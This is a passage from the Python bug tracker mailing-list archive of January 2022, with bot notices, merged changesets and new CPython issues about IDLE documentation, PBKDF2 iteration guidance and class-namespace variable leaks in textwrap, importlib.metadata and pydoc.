<1632689547.92.0.46019643965.issue45296@roundup.psfhosted.org> Message-ID: <1643253401.28.0.804897400896.issue45296@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 4.0 -> 5.0 pull_requests: +29123 pull_request: https://github.com/python/cpython/pull/30944 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 22:16:46 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 27 Jan 2022 03:16:46 +0000 Subject: [issue45296] IDLE: Better document close and exit. In-Reply-To: <1632689547.92.0.46019643965.issue45296@roundup.psfhosted.org> Message-ID: <1643253406.26.0.232644866245.issue45296@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +29124 pull_request: https://github.com/python/cpython/pull/30945 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 22:18:53 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 27 Jan 2022 03:18:53 +0000 Subject: [issue46539] typing: forward references don't understand special type forms In-Reply-To: <1643229038.65.0.790137341824.issue46539@roundup.psfhosted.org> Message-ID: <1643253533.94.0.80945437955.issue46539@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 6.0 -> 7.0 pull_requests: +29125 pull_request: https://github.com/python/cpython/pull/30946 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 22:18:58 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 27 Jan 2022 03:18:58 +0000 Subject: [issue46539] typing: forward references don't understand special type forms In-Reply-To: <1643229038.65.0.790137341824.issue46539@roundup.psfhosted.org> Message-ID: <1643253538.0.0.424418709342.issue46539@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +29126 pull_request: https://github.com/python/cpython/pull/30947 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 22:19:35 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 27 Jan 2022 03:19:35 +0000 Subject: [issue46496] idlelib/NEWS.txt for 3.11.0 and backports In-Reply-To: <1642993661.43.0.163897250741.issue46496@roundup.psfhosted.org> Message-ID: <1643253575.36.0.353352410967.issue46496@roundup.psfhosted.org> Terry J. Reedy added the comment: New changeset 9f0881476e0113d3a35e0ffa96649b9276dd75c5 by Terry Jan Reedy in branch 'main': bpo-46496: news11-10 for bpo45296 (GH-30937) https://github.com/python/cpython/commit/9f0881476e0113d3a35e0ffa96649b9276dd75c5 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 22:19:49 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 27 Jan 2022 03:19:49 +0000 Subject: [issue46496] idlelib/NEWS.txt for 3.11.0 and backports In-Reply-To: <1642993661.43.0.163897250741.issue46496@roundup.psfhosted.org> Message-ID: <1643253589.66.0.895105449735.issue46496@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 1.0 -> 2.0 pull_requests: +29127 pull_request: https://github.com/python/cpython/pull/30948 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 22:24:45 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 Jan 2022 03:24:45 +0000 Subject: [issue45476] [C API] PEP 674: Disallow using macros as l-value In-Reply-To: <1634246251.33.0.982878943146.issue45476@roundup.psfhosted.org> Message-ID: <1643253885.68.0.622484371531.issue45476@roundup.psfhosted.org> STINNER Victor added the comment: > recordclass-0.16.3: lib/recordclass/_dataobject.c + code generated by Cython I created: https://bitbucket.org/intellimath/recordclass/pull-requests/1/python-311-support-use-py_set_size ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 22:41:17 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 27 Jan 2022 03:41:17 +0000 Subject: [issue45296] IDLE: Better document close and exit. In-Reply-To: <1632689547.92.0.46019643965.issue45296@roundup.psfhosted.org> Message-ID: <1643254877.2.0.863213796668.issue45296@roundup.psfhosted.org> miss-islington added the comment: New changeset bc7d96ee332c8a575a453ec81367f2ad499f57d3 by Miss Islington (bot) in branch '3.9': bpo-45296: Clarify close, quit, and exit in IDLE (GH-30936) https://github.com/python/cpython/commit/bc7d96ee332c8a575a453ec81367f2ad499f57d3 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 22:46:31 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Thu, 27 Jan 2022 03:46:31 +0000 Subject: [issue46543] Add sys._getfunc Message-ID: <1643255191.75.0.25013481924.issue46543@roundup.psfhosted.org> New submission from Jelle Zijlstra : sys._getframe() has to create frame objects, which is relatively expensive. Usually the calling function object should be enough. See https://github.com/faster-cpython/ideas/discussions/238 ---------- assignee: Jelle Zijlstra components: Interpreter Core messages: 411833 nosy: Jelle Zijlstra, Mark.Shannon priority: normal severity: normal status: open title: Add sys._getfunc type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 22:53:45 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 27 Jan 2022 03:53:45 +0000 Subject: [issue46496] idlelib/NEWS.txt for 3.11.0 and backports In-Reply-To: <1642993661.43.0.163897250741.issue46496@roundup.psfhosted.org> Message-ID: <1643255625.58.0.944911491625.issue46496@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- pull_requests: +29128 pull_request: https://github.com/python/cpython/pull/30949 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 22:55:29 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 27 Jan 2022 03:55:29 +0000 Subject: [issue45296] IDLE: Better document close and exit. In-Reply-To: <1632689547.92.0.46019643965.issue45296@roundup.psfhosted.org> Message-ID: <1643255729.08.0.944036535597.issue45296@roundup.psfhosted.org> Terry J. Reedy added the comment: New changeset 5acaad0b3033fde6f21de6ac73681cd6cf64b1f7 by Miss Islington (bot) in branch '3.10': bpo-45296: Clarify close, quit, and exit in IDLE (GH-30936) (GH-30944) https://github.com/python/cpython/commit/5acaad0b3033fde6f21de6ac73681cd6cf64b1f7 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 22:56:18 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 27 Jan 2022 03:56:18 +0000 Subject: [issue45296] IDLE: Better document close and exit. In-Reply-To: <1632689547.92.0.46019643965.issue45296@roundup.psfhosted.org> Message-ID: <1643255778.54.0.525171203055.issue45296@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 23:00:46 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 27 Jan 2022 04:00:46 +0000 Subject: [issue46282] return value of builtins is not clearly indicated In-Reply-To: <1641482082.12.0.793901620769.issue46282@roundup.psfhosted.org> Message-ID: <1643256046.65.0.583944024637.issue46282@roundup.psfhosted.org> Terry J. Reedy added the comment: Steven, I am also inclined to close this. What do you think after the discussion? It is sometimes easier to clarify when we have a confused person present in the discussion. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 23:05:46 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 27 Jan 2022 04:05:46 +0000 Subject: [issue46496] idlelib/NEWS.txt for 3.11.0 and backports In-Reply-To: <1642993661.43.0.163897250741.issue46496@roundup.psfhosted.org> Message-ID: <1643256346.51.0.0244563866216.issue46496@roundup.psfhosted.org> Terry J. Reedy added the comment: New changeset b3cf525bd1c57a1d3f28fcb90bce364f0bcb2b7d by Miss Islington (bot) in branch '3.10': bpo-46496: news11-10 for bpo45296 (GH-30937) https://github.com/python/cpython/commit/b3cf525bd1c57a1d3f28fcb90bce364f0bcb2b7d ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 23:10:04 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 27 Jan 2022 04:10:04 +0000 Subject: [issue46496] idlelib/NEWS.txt for 3.11.0 and backports In-Reply-To: <1642993661.43.0.163897250741.issue46496@roundup.psfhosted.org> Message-ID: <1643256604.03.0.413626296626.issue46496@roundup.psfhosted.org> Terry J. Reedy added the comment: New changeset 287ceca2d62d11a8b45f6264226d984dd044e082 by Terry Jan Reedy in branch '3.9': bpo-46496: news39 for bpo45296 (#30949) https://github.com/python/cpython/commit/287ceca2d62d11a8b45f6264226d984dd044e082 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 23:20:01 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Thu, 27 Jan 2022 04:20:01 +0000 Subject: [issue46543] Add sys._getfunc In-Reply-To: <1643255191.75.0.25013481924.issue46543@roundup.psfhosted.org> Message-ID: <1643257201.22.0.664215453881.issue46543@roundup.psfhosted.org> Change by Jelle Zijlstra : ---------- keywords: +patch pull_requests: +29129 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30950 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 23:39:27 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Thu, 27 Jan 2022 04:39:27 +0000 Subject: [issue45162] Remove old deprecated unittest features In-Reply-To: <1631268906.05.0.258489564429.issue45162@roundup.psfhosted.org> Message-ID: <1643258367.9.0.126221906259.issue45162@roundup.psfhosted.org> Gregory P. Smith added the comment: New changeset b50322d20337ca468f2070eedb051a16ee1eba94 by Gregory P. Smith in branch 'main': bpo-45162: Revert "Remove many old deprecated unittest features" (GH-30935) https://github.com/python/cpython/commit/b50322d20337ca468f2070eedb051a16ee1eba94 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 23:40:24 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Thu, 27 Jan 2022 04:40:24 +0000 Subject: [issue45162] Remove old deprecated unittest features In-Reply-To: <1631268906.05.0.258489564429.issue45162@roundup.psfhosted.org> Message-ID: <1643258424.79.0.918258782824.issue45162@roundup.psfhosted.org> Change by Gregory P. Smith : ---------- assignee: gregory.p.smith -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 26 23:49:19 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 27 Jan 2022 04:49:19 +0000 Subject: [issue45975] Simplify some while-loops with walrus operator In-Reply-To: <1638573350.23.0.80297686747.issue45975@roundup.psfhosted.org> Message-ID: <1643258959.08.0.804228093809.issue45975@roundup.psfhosted.org> Terry J. Reedy added the comment: To me, the five idlelib changes make the code easier to understand. Nick, please either move them into a separate PR or allow me to do so, and subject to manual testing, I will merge and backport. (I requested this on the PR by maybe you missed it.) If there are other plausible changes in idlelib that you would like considered, make a spinoff issue where we can discuss them first. ---------- nosy: +terry.reedy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 00:46:40 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 27 Jan 2022 05:46:40 +0000 Subject: [issue45560] sys.last_* not set for SyntaxErrors with IDLE In-Reply-To: <1634851912.62.0.543698979656.issue45560@roundup.psfhosted.org> Message-ID: <1643262400.34.0.428742514987.issue45560@roundup.psfhosted.org> Terry J. Reedy added the comment: If this is not fixed, perhaps it should be documented along with other IDLE differences in Running User code. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 02:32:59 2022 From: report at bugs.python.org (Hugo Almeida) Date: Thu, 27 Jan 2022 07:32:59 +0000 Subject: [issue46285] protocol_version in http.server.test can be ignored In-Reply-To: <1641494361.52.0.586828537376.issue46285@roundup.psfhosted.org> Message-ID: <1643268779.16.0.530698409058.issue46285@roundup.psfhosted.org> Hugo Almeida added the comment: Hi ?ric, thank you so much. I know only a little usage of closure and functools.partial but not the historical/relative knowledge of their design/feature, I mean this issue have 2 visual, the partical object not working as it expected or we are not calling the partical as it expected: 1) partial is not working as its feature or design said, assume I guessed right, thus partial object behaviors should be totally equal to its wrapper/inside class called with properties applied in a standalone/outside way which we usually used, the use of partical at http.server.test should be okey. """ import functools class Obj: pass obj = Obj(); obj.foo = bar # usually used jbo = functools.partial(Obj, foo=bar) # if jbo totally equal to obj in anywhere # (the so called Duck Type or # maybe the LSP rule, Liskov # Substitution Principle) # the use of partical in http.server # should also be ok # # I used the partical times the same # as http.server's author did # and I told myself I know its usage # but now I do not think so """ 2) solve this issue itself, to pass handler class directly to ignore partial object caused problem, this is a coding logic shelter/fixing because the way we used functools.partical is not as it expected. This is what cpython at github PR30701 already done. (so the use of partical in http.server is not ok, not welcome at least, so based what I said above, the feature/design of partical now confused me, unless its a bug of partical itself which I am not sure.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 03:05:30 2022 From: report at bugs.python.org (Zhang Na) Date: Thu, 27 Jan 2022 08:05:30 +0000 Subject: [issue46498] Add new triplets for loongarch64 In-Reply-To: <1643163774.53.0.339262106293.issue46498@roundup.psfhosted.org> Message-ID: <1643270730.05.0.792939767295.issue46498@roundup.psfhosted.org> Zhang Na added the comment: loongarch64.diff has been modified according to the new toolchain spec. ---------- Added file: https://bugs.python.org/file50590/loongarch64-new.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 03:22:39 2022 From: report at bugs.python.org (Andrew Svetlov) Date: Thu, 27 Jan 2022 08:22:39 +0000 Subject: [issue46487] `_SSLProtocolTransport` doesn't have the `get_write_buffer_limits` implementation. In-Reply-To: <1642956579.88.0.874451356364.issue46487@roundup.psfhosted.org> Message-ID: <1643271759.07.0.38212991788.issue46487@roundup.psfhosted.org> Andrew Svetlov added the comment: Sorry, I didn't look into docs before writing. Now we have an interesting situation: the documentation reflects the desired state already but the code is not :) The PR should contain fixes for transports.py and sslproto.py only (plus a blurb record for NEWs). Sorry for misleading you. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 03:35:11 2022 From: report at bugs.python.org (Kumar Aditya) Date: Thu, 27 Jan 2022 08:35:11 +0000 Subject: [issue46541] Replace _Py_IDENTIFIER() with statically initialized objects. In-Reply-To: <1643234464.46.0.949364478641.issue46541@roundup.psfhosted.org> Message-ID: <1643272511.25.0.107792408428.issue46541@roundup.psfhosted.org> Change by Kumar Aditya : ---------- nosy: +kumaraditya303 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 03:39:19 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 27 Jan 2022 08:39:19 +0000 Subject: [issue42982] Update suggested number of iterations for pbkdf2_hmac() In-Reply-To: <1611173199.26.0.961948207202.issue42982@roundup.psfhosted.org> Message-ID: <1643272759.17.0.34525663945.issue42982@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 8.0 -> 9.0 pull_requests: +29130 pull_request: https://github.com/python/cpython/pull/30951 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 03:39:22 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Thu, 27 Jan 2022 08:39:22 +0000 Subject: [issue42982] Update suggested number of iterations for pbkdf2_hmac() In-Reply-To: <1611173199.26.0.961948207202.issue42982@roundup.psfhosted.org> Message-ID: <1643272762.79.0.868889645593.issue42982@roundup.psfhosted.org> Gregory P. Smith added the comment: New changeset 897ce9018775bcd679fb49aa17258f8f6e818e23 by Illia Volochii in branch 'main': bpo-42982: Improve the text on suggested number of iterations of PBKDF2 (GH-24276) https://github.com/python/cpython/commit/897ce9018775bcd679fb49aa17258f8f6e818e23 ---------- nosy: +gregory.p.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 03:41:18 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Thu, 27 Jan 2022 08:41:18 +0000 Subject: [issue42982] Update suggested number of iterations for pbkdf2_hmac() In-Reply-To: <1611173199.26.0.961948207202.issue42982@roundup.psfhosted.org> Message-ID: <1643272878.37.0.545414390919.issue42982@roundup.psfhosted.org> Gregory P. Smith added the comment: I reworked the PR and went with less specific text and linking to the NIST 800 132 appendix as guidance on how people should determine what is right for them. there is no one right number. it is application specific. thanks for everyone's valuable input! ---------- assignee: docs at python -> gregory.p.smith resolution: -> fixed stage: patch review -> commit review status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 04:02:02 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 27 Jan 2022 09:02:02 +0000 Subject: [issue42982] Update suggested number of iterations for pbkdf2_hmac() In-Reply-To: <1611173199.26.0.961948207202.issue42982@roundup.psfhosted.org> Message-ID: <1643274122.32.0.0427881079984.issue42982@roundup.psfhosted.org> miss-islington added the comment: New changeset 1ecc98dedb7ae77c2d806a70b52dfecdac39ff5b by Miss Islington (bot) in branch '3.10': bpo-42982: Improve the text on suggested number of iterations of PBKDF2 (GH-24276) https://github.com/python/cpython/commit/1ecc98dedb7ae77c2d806a70b52dfecdac39ff5b ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 04:51:32 2022 From: report at bugs.python.org (Hugo van Kemenade) Date: Thu, 27 Jan 2022 09:51:32 +0000 Subject: [issue45173] Remove configparser deprecations In-Reply-To: <1631383839.78.0.984503527213.issue45173@roundup.psfhosted.org> Message-ID: <1643277092.97.0.0109085547848.issue45173@roundup.psfhosted.org> Change by Hugo van Kemenade : ---------- pull_requests: +29131 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/30952 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 04:58:00 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 27 Jan 2022 09:58:00 +0000 Subject: [issue40280] Consider supporting emscripten/webassembly as a build target In-Reply-To: <1586848295.92.0.690921486188.issue40280@roundup.psfhosted.org> Message-ID: <1643277480.09.0.102731303352.issue40280@roundup.psfhosted.org> miss-islington added the comment: New changeset 606e496dd6e2ace298532da200169124c26ae0f2 by Christian Heimes in branch 'main': bpo-40280: Use presence of msvcrt module to detect Windows (GH-30930) https://github.com/python/cpython/commit/606e496dd6e2ace298532da200169124c26ae0f2 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 05:24:56 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 27 Jan 2022 10:24:56 +0000 Subject: [issue23556] [doc] Scope for raise without argument is different in Python 2 and 3 In-Reply-To: <1425212072.31.0.66074782686.issue23556@psf.upfronthosting.co.za> Message-ID: <1643279096.49.0.313546336028.issue23556@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 9.0 -> 10.0 pull_requests: +29132 pull_request: https://github.com/python/cpython/pull/30953 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 05:25:01 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 27 Jan 2022 10:25:01 +0000 Subject: [issue23556] [doc] Scope for raise without argument is different in Python 2 and 3 In-Reply-To: <1425212072.31.0.66074782686.issue23556@psf.upfronthosting.co.za> Message-ID: <1643279101.02.0.351393689045.issue23556@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +29133 pull_request: https://github.com/python/cpython/pull/30954 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 05:25:01 2022 From: report at bugs.python.org (Irit Katriel) Date: Thu, 27 Jan 2022 10:25:01 +0000 Subject: [issue23556] [doc] Scope for raise without argument is different in Python 2 and 3 In-Reply-To: <1425212072.31.0.66074782686.issue23556@psf.upfronthosting.co.za> Message-ID: <1643279101.5.0.609468561284.issue23556@roundup.psfhosted.org> Irit Katriel added the comment: New changeset 08c0ed2d9c0d01ad1a5adc0787bc75e4e90cbb85 by Kinshuk Dua in branch 'main': bpo-23556: [doc] Fix inaccuracy in documentation for raise without args. Improve tests for context in nested except handlers. (GH-29236) https://github.com/python/cpython/commit/08c0ed2d9c0d01ad1a5adc0787bc75e4e90cbb85 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 05:25:13 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Thu, 27 Jan 2022 10:25:13 +0000 Subject: [issue46544] `textwrap.TextWrapper` leaks two intermediate vars into class namespace Message-ID: <1643279113.63.0.318517271456.issue46544@roundup.psfhosted.org> New submission from Nikita Sobolev : Right now this works: ``` >>> import textwrap >>> textwrap.TextWrapper.x ' ' >>> textwrap.TextWrapper.uspace 32 ``` This happens because of these lines: https://github.com/python/cpython/blame/606e496dd6e2ace298532da200169124c26ae0f2/Lib/textwrap.py#L66-L69 Notice that `uspace` and `x` are both undocumented, untested, and unused in our code. Similar variables in the same class body are then deleted from the scope: ``` wordsep_simple_re = re.compile(r'(%s+)' % whitespace) del whitespace ``` 1. https://github.com/python/cpython/blame/606e496dd6e2ace298532da200169124c26ae0f2/Lib/textwrap.py#L99 2. https://github.com/python/cpython/blame/606e496dd6e2ace298532da200169124c26ae0f2/Lib/textwrap.py#L106 I propose to add `del x, uspace` as well. These two probably should not be leaking and should not be exposed. ---------- components: Library (Lib) messages: 411849 nosy: sobolevn priority: normal severity: normal status: open title: `textwrap.TextWrapper` leaks two intermediate vars into class namespace type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 05:26:55 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Thu, 27 Jan 2022 10:26:55 +0000 Subject: [issue46545] `textwrap.TextWrapper` leaks two intermediate vars into class namespace Message-ID: <1643279215.23.0.344816596623.issue46545@roundup.psfhosted.org> New submission from Nikita Sobolev : Right now this works: ``` >>> import textwrap >>> textwrap.TextWrapper.x ' ' >>> textwrap.TextWrapper.uspace 32 ``` This happens because of these lines: https://github.com/python/cpython/blame/606e496dd6e2ace298532da200169124c26ae0f2/Lib/textwrap.py#L66-L69 Notice that `uspace` and `x` are both undocumented, untested, and unused in our code. Similar variables in the same class body are then deleted from the scope: ``` wordsep_simple_re = re.compile(r'(%s+)' % whitespace) del whitespace ``` 1. https://github.com/python/cpython/blame/606e496dd6e2ace298532da200169124c26ae0f2/Lib/textwrap.py#L99 2. https://github.com/python/cpython/blame/606e496dd6e2ace298532da200169124c26ae0f2/Lib/textwrap.py#L106 I propose to add `del x, uspace` as well. These two probably should not be leaking and should not be exposed. ---------- components: Library (Lib) messages: 411850 nosy: sobolevn priority: normal severity: normal status: open title: `textwrap.TextWrapper` leaks two intermediate vars into class namespace type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 05:27:30 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Thu, 27 Jan 2022 10:27:30 +0000 Subject: [issue46545] `textwrap.TextWrapper` leaks two intermediate vars into class namespace In-Reply-To: <1643279215.23.0.344816596623.issue46545@roundup.psfhosted.org> Message-ID: <1643279250.59.0.126938643767.issue46545@roundup.psfhosted.org> Nikita Sobolev added the comment: Oups, somehow I created two identical issues. Closing this one. ---------- resolution: -> duplicate stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 05:37:09 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Thu, 27 Jan 2022 10:37:09 +0000 Subject: [issue46544] `textwrap.TextWrapper` leaks two intermediate vars into class namespace In-Reply-To: <1643279113.63.0.318517271456.issue46544@roundup.psfhosted.org> Message-ID: <1643279829.51.0.202413119915.issue46544@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch pull_requests: +29134 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30955 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 05:46:22 2022 From: report at bugs.python.org (=?utf-8?q?Antonio_V=C3=A1zquez_Blanco?=) Date: Thu, 27 Jan 2022 10:46:22 +0000 Subject: [issue34781] infinite waiting in multiprocessing.Pool In-Reply-To: <1537734641.75.0.956365154283.issue34781@psf.upfronthosting.co.za> Message-ID: <1643280382.01.0.799529543606.issue34781@roundup.psfhosted.org> Change by Antonio V?zquez Blanco : ---------- nosy: +antonio.vazquez _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 05:51:06 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 27 Jan 2022 10:51:06 +0000 Subject: [issue23556] [doc] Scope for raise without argument is different in Python 2 and 3 In-Reply-To: <1425212072.31.0.66074782686.issue23556@psf.upfronthosting.co.za> Message-ID: <1643280666.29.0.211858841082.issue23556@roundup.psfhosted.org> miss-islington added the comment: New changeset 1440dd343871645c187028916dd6ee97300d2557 by Miss Islington (bot) in branch '3.9': bpo-23556: [doc] Fix inaccuracy in documentation for raise without args. Improve tests for context in nested except handlers. (GH-29236) https://github.com/python/cpython/commit/1440dd343871645c187028916dd6ee97300d2557 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 05:51:10 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 27 Jan 2022 10:51:10 +0000 Subject: [issue23556] [doc] Scope for raise without argument is different in Python 2 and 3 In-Reply-To: <1425212072.31.0.66074782686.issue23556@psf.upfronthosting.co.za> Message-ID: <1643280670.05.0.489183988654.issue23556@roundup.psfhosted.org> miss-islington added the comment: New changeset 2572c670d42887e4b1d2475b8da2e9bf6e0aa558 by Miss Islington (bot) in branch '3.10': [3.10] bpo-23556: [doc] Fix inaccuracy in documentation for raise without args. Improve tests for context in nested except handlers. (GH-29236) (GH-30953) https://github.com/python/cpython/commit/2572c670d42887e4b1d2475b8da2e9bf6e0aa558 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 05:52:25 2022 From: report at bugs.python.org (Irit Katriel) Date: Thu, 27 Jan 2022 10:52:25 +0000 Subject: [issue23556] [doc] Scope for raise without argument is different in Python 2 and 3 In-Reply-To: <1425212072.31.0.66074782686.issue23556@psf.upfronthosting.co.za> Message-ID: <1643280745.27.0.699797370171.issue23556@roundup.psfhosted.org> Irit Katriel added the comment: Thank you @a3nm, @kinshukdua2 and @martin.panter. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 06:24:52 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Thu, 27 Jan 2022 11:24:52 +0000 Subject: [issue46546] `importlib.metadata.DeprecatedList` leaks `method_name` variable Message-ID: <1643282692.82.0.294408730959.issue46546@roundup.psfhosted.org> New submission from Nikita Sobolev : Right now in `DeprecatedList` there's a possibly unwated name leak of `method_name` here: https://github.com/python/cpython/blob/08c0ed2d9c0d01ad1a5adc0787bc75e4e90cbb85/Lib/importlib/metadata/__init__.py#L295-L308 ``` for method_name in [ '__setitem__', '__delitem__', 'append', 'reverse', 'extend', 'pop', 'remove', '__iadd__', 'insert', 'sort', ]: locals()[method_name] = _wrap_deprecated_method(method_name) ``` Example: ``` >>> import importlib >>> import importlib.metadata >>> importlib.metadata.DeprecatedList.method_name 'sort' ``` Right now `method_name` is unused, undocumented, and untested. My proposal is to add `del method_name` after the `for` loop, so it won't leak. ---------- components: Library (Lib) messages: 411855 nosy: brett.cannon, jaraco, sobolevn priority: normal severity: normal status: open title: `importlib.metadata.DeprecatedList` leaks `method_name` variable type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 06:26:49 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Thu, 27 Jan 2022 11:26:49 +0000 Subject: [issue46546] `importlib.metadata.DeprecatedList` leaks `method_name` variable In-Reply-To: <1643282692.82.0.294408730959.issue46546@roundup.psfhosted.org> Message-ID: <1643282809.33.0.254442185894.issue46546@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch pull_requests: +29135 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30956 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 06:40:53 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Thu, 27 Jan 2022 11:40:53 +0000 Subject: [issue46547] `pydoc.Helper` leaks several `for` loop variables Message-ID: <1643283653.02.0.615923361004.issue46547@roundup.psfhosted.org> New submission from Nikita Sobolev : Here's the problem. `pydoc.Helper` is defined as: ``` class Helper: for topic, symbols_ in _symbols_inverse.items(): for symbol in symbols_: topics = symbols.get(symbol, topic) if topic not in topics: topics = topics + ' ' + topic symbols[symbol] = topics ``` Link: https://github.com/python/cpython/blob/08c0ed2d9c0d01ad1a5adc0787bc75e4e90cbb85/Lib/pydoc.py#L1877-L1882 It causes some unwanted consequences: `topic, symbols_, symbol` are leaking to the class's namespace. Example: ``` >>> import pydoc >>> pydoc.Helper.symbol 'J' >>> pydoc.Helper.topic 'COMPLEX' >>> pydoc.Helper.symbols_ ('j', 'J') ``` There's also `topics` var, but it is shadowed later. So, I propose deleting all intermediate variables right after the `for` loop. ---------- components: Library (Lib) messages: 411856 nosy: sobolevn priority: normal severity: normal status: open title: `pydoc.Helper` leaks several `for` loop variables type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 06:43:23 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Thu, 27 Jan 2022 11:43:23 +0000 Subject: [issue46547] `pydoc.Helper` leaks several `for` loop variables In-Reply-To: <1643283653.02.0.615923361004.issue46547@roundup.psfhosted.org> Message-ID: <1643283803.17.0.436208165766.issue46547@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch pull_requests: +29136 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30957 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 06:52:55 2022 From: report at bugs.python.org (Robert Xiao) Date: Thu, 27 Jan 2022 11:52:55 +0000 Subject: [issue46548] macOS installers cannot be signed on Monterey 